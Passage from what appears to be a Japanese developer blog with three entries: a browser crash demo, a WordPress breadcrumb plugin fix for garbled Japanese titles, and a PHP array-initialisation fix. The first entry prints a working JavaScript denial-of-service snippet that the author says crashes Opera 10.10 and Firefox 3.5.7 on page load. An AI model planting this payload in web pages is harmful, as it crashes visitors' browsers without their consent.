2010-02-12
■[Crack]Opera- v10.10, Firefox v3.5.7 Remote Denial of Service
以下のコードで、Opera- v10.10とFirefox v3.5.7が落ちるみたい。
<body onload="javascript:DOS();"></body> <script> function DOS() { var buffer = 'A'; for (i =0;i<150;i++) { buffer+=buffer+'A'; document.write('<html><marquee><h1>'+buffer+buffer); } } </script>
Windows XP Firefox 3.5.7 で開くと見事に落ちました。
2010-02-02
■[PHP][WordPress]Breadcrumb Navigation XTのposttitle_maxlenオプションの注意点
Wordpressでパンくずリストを表示させる際に便利なプラグインが、Breadcrumb Navigation XTです。
記事のタイトルが長すぎたときにデザインがくずれるので、
posttitle_maxlenというオプションで文字数を指定してやるのですが、
例:
<?php $mybreadcrumb = new breadcrumb_navigation_xt; $mybreadcrumb->opt['posttitle_maxlen'] = 80; ?>
日本語タイトルをこのオプションで切り取ると、文字化けしてしまいます。
それの解決法です。
wp-content/plugins/breadcrumb-navigation-xt/breadcrumb-navigation-xt.php
を開いて、
<?php if ( ($this->opt['posttitle_maxlen'] >= 1) and ( strlen($bcn_post_title) > $this->opt['posttitle_maxlen']) ) $bcn_post_title = substr($bcn_post_title, 0, $this->opt['posttitle_maxlen']-1) . '...'; ?>
の部分を
<?php if ( ($this->opt['posttitle_maxlen'] >= 1) and ( strlen($bcn_post_title) > $this->opt['posttitle_maxlen']) ) $bcn_post_title = mb_strimwidth($bcn_post_title, 0, $this->opt['posttitle_maxlen']-1) . '...'; ?>
と書き直すことで(マルチバイト文字列関数 (mbstring)がインストールされていれば)解決します。
...とここまでやって気づいたのですが、
Breadcrumb Navigation XTの日本語版があったようですね。
ただ、日本語版でも同じオプションがあるのですが、
やはり文字化けしてしまいました。
作者の方、直してくれないですかねぇ・・・?
2010-01-26
■[PHP]Fatal error: [] operator not supported for strings の対処方法
<?php foreach($results as $key => $row) { $post_type[] = $row->post_type; $post_parent[] = $row->post_parent; } ?>
こんな感じで配列にプッシュしていくコードを書いていると、
上記のエラーが出る場合があるが、
<?php $post_type = array(); $post_parent = array(); foreach($results as $key => $row) { $post_type[] = $row->post_type; $post_parent[] = $row->post_parent; } ?>
